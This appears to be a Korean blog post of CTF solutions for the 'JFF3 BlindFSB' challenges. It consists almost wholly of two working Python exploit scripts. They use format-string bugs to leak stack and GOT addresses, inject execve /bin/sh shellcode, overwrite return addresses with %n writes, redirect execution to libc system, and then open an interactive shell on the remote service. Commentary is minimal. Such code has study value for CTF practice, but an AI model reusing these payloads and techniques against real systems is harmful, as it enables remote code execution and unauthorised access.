본문 바로가기

Games/CTF

JFF3 BlindFSB

BFSB1.


from socket import *

import sys, os, struct, time, random, urllib, urllib2, string, hashlib, telnetlib


# common stuffs

p  = lambda x: struct.pack("<L", x)

pq = lambda x: struct.pack("<Q", x)

ph = lambda x: struct.pack("<H", x)

pb = lambda x: struct.pack("<B", x)


def recv_until(s, pat):

msg = ''

while True:

msg += s.recv(1024)

if msg.find(pat) != -1:

break

return msg


def check(s):

for c in s:

if c not in '1234567890abcdef \n': return False

return True


# pwn

s = socket(AF_INET, SOCK_STREAM)

s.connect( ('leaveret.kr',  10112) )


'''

# stage1

print 'go!'

recv_until(s, 'password or quit? ')

print 'stage1 start!'

for i in xrange(800, 980):

payload = '%{0}$llx'.format(i)

s.send(payload + '\n')

result = s.recv(1024).split('\n')[0]

print '{0} -> {1}'.format(payload, result)

if len(result) % 2 == 0 and check(result) == True : print result.decode('hex')[::-1]

#payload = '%{0}$s'.format(i)

#s.send(payload + '\n')

#print '{0} -> {1}'.format(payload, s.recv(1024))

'''

recv_until(s, 'password or quit? ')

s.send('LeaveRet_Handsome_Sexy_Pretty_Smart_ZZZZ\n')


# stage2

shellcode = "\x48\x31\xC0\x48\x31\xD2\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05"

nop = "\x90"

recv_until(s, 'break? ')

print 'stage2 start!'


# put shellcode

s.send(nop*90 + shellcode + '\n')

recv_until(s, 'break? ')


# get stack address

s.send('%196$llx\n')

stack_addr = int(recv_until(s, 'break? ').split('\n')[0], 16)

print 'stack address -{0}-'.format(hex(stack_addr))


# stack offset

RET_OFFSET = 416

SH_OFFSET = 1424

sh_addr = stack_addr - SH_OFFSET

print 'shellcode at -{0}-'.format(hex(sh_addr))


# overwrite 8 byte ret address byte-to-byte

for N in xrange(6):

byte = str(int( ((sh_addr >> (N*8)) & 0xFF) ))

print 'overwrite!' + byte

# write ret address to stack

s.send( 'A'*56 + pq(stack_addr - RET_OFFSET + N) + '\n' )

recv_until(s, 'break? ').split('\n')[0]

# write a value to return address

s.send( '%'+byte+'c%17$n\n' )

recv_until(s, 'break? ').split('\n')[0]


# inspect stack

print 'check STACK!'

'''

for i in xrange(1, 30):

        payload = '%{0}$llx'.format(i)

        s.send(payload + '\n')

        result = recv_until(s, 'break? ').split('\npayload')[0]

        print '{0} -> {1}'.format(payload, result)

        #if len(result) % 2 == 0 and check(result) == True : print result.decode('hex')[::-1]

'''


# return to shellcode

s.send('break\n')


# get shell

t = telnetlib.Telnet()

t.sock = s

t.interact()










BFSB2.

from socket import *

import sys, os, struct, time, random, urllib, urllib2, string, hashlib, telnetlib


# common stuffs

p  = lambda x: struct.pack("<L", x)

pq = lambda x: struct.pack("<Q", x)

ph = lambda x: struct.pack("<H", x)

pb = lambda x: struct.pack("<B", x)


def recv_until(s, pat):

msg = ''

while True:

msg += s.recv(1024)

if msg.find(pat) != -1:

break

return msg


def check(s):

for c in s:

if c not in '1234567890abcdef \n': return False

return True


# pwn

s = socket(AF_INET, SOCK_STREAM)

s.connect( ('leaveret.kr',  10094) )




# stage1

def dump_memory(p_addr):

        addr = p_addr

        elf = ''

        while True:

                if pq(addr).find('\n') != -1:

                        addr += 1

                        continue

                payload = '%21$sBBB' + pq(addr)

                s.send(payload + '\n')

                result = recv_until(s, 'break? ').split('BBB')[0]

                if len(result) < 1:

                        elf += '\x00'

                        addr += 1

                else:

                        elf += result

                        addr += len(result)

                print '{0} : {1}'.format(hex(addr), result.encode('hex'))

                print elf.encode('hex')


#dump_memory( 0x8048000 ) # dump ELF image to find password.


recv_until(s, 'password or quit? ')

s.send('Have_A_Fun_QUESTIONMARK_Love_FSB_NOT_GirlFrienddd\n')

print recv_until(s, 'break? ')


# stage2

def mem_read(addr):

if pq(addr).find('\n') != -1:

print 'address contains 0a!'

return 0

payload = '%21$sBBB' + pq(addr)

s.send(payload + '\n')

result = int(recv_until(s, 'break? ').split('BBB')[0][:4][::-1].encode('hex'), 16)

        print 'mem_read> {0} : {1}'.format(hex(addr), hex(result))

return result


def mem_write(addr, data):

        if pq(addr).find('\n') != -1:

                print 'address contains 0a!'

                return 0

e1 = (data) & 0xFF

e2 = (data>>8) & 0xFF

e3 = (data>>16) & 0xFF

e4 = (data>>24) & 0xFF


if e1 < 10: e1 = e1-5

elif e1 < 100: e1 = e1-4

else: e1 = e1 - 3


        if e2 < 10: e2 = e2-5

        elif e2 < 100: e2 = e2-4

        else: e2 = e2 - 3


        if e3 < 10: e3 = e3-5

        elif e3 < 100: e3 = e3-4

        else: e3 = e3 - 3


        if e4 < 10: e4 = e4-5

        elif e4 < 100: e4 = e4-4

        else: e4 = e4 - 3


print 'writing...'

pad8 = '%{0}c'.format(e1)

pad8 = pad8 + '#'*(8-len(pad8))

        payload = pad8 + '%23$nBBB' + pq(addr)

        s.send(payload + '\n')

        recv_until(s, 'break? ').split('BBB')[0].split('###')[1]


        pad8 = '%{0}c'.format(e2)

        pad8 = pad8 + '#'*(8-len(pad8))

        payload = pad8 + '%23$nBBB' + pq(addr+1)

        s.send(payload + '\n')

        recv_until(s, 'break? ').split('BBB')[0].split('###')[1]


        pad8 = '%{0}c'.format(e3)

        pad8 = pad8 + '#'*(8-len(pad8))

        payload = pad8 + '%23$nBBB' + pq(addr+2)

        s.send(payload + '\n')

        recv_until(s, 'break? ').split('BBB')[0].split('###')[1]


        pad8 = '%{0}c'.format(e4)

        pad8 = pad8 + '#'*(8-len(pad8))

        payload = pad8 + '%23$nBBB' + pq(addr+3)

        s.send(payload + '\n')

        recv_until(s, 'break? ').split('BBB')[0].split('###')[1]

        print 'mem_write> {0} : {1}'.format(hex(addr), hex(data))


def mem_leak():

RET_OFFSET = 0x68 # parent stack frame size

payload = '%278$xBBB'

s.send(payload + '\n')

result = int(recv_until(s, 'break? ').split('BBB')[0][:8], 16)

return (result - RET_OFFSET - 4)

# leak got

# libc_start offset :18650

# system offset : 3b160

system = mem_read(0x804b04c) + 0x22B10 #libc_start + 0x22b10 -> system

p_retaddr = mem_leak()

print 'ret addr at {0}'.format(hex(p_retaddr))

print 'system at {0}'.format(hex(system))


# overwrite ret address!

mem_write(p_retaddr, system)


# build rop chain

stack = p_retaddr

mem_write(stack+8, stack+16)

mem_write(stack+16, 0x6e69622f)

mem_write(stack+20, 0x68732f2f)

mem_write(stack+24, 0)


# inspect stack

'''

print 'check STACK!'

for i in xrange(270, 295):

        payload = '%{0}$xBBB'.format(i)

        s.send(payload + '\n')

        result = recv_until(s, 'break? ').split('BBB')[0]

        print '{0} -> {1}'.format(payload, result)

        if len(result) % 2 == 0 and check(result) == True : print result.decode('hex')[::-1]

'''


s.send('break\n')


# get shell

t = telnetlib.Telnet()

t.sock = s

t.interact()

'Games > CTF' 카테고리의 다른 글

MMA CTF 2015 SPELL  (0) 2015.09.08
MMA CTF 2015 RPS  (0) 2015.09.08
GITS 2014 TI-1337  (0) 2014.12.22
SECCON 2014 Advanced RISC Machine  (0) 2014.12.08
hack.lu callgate writeup  (0) 2014.10.28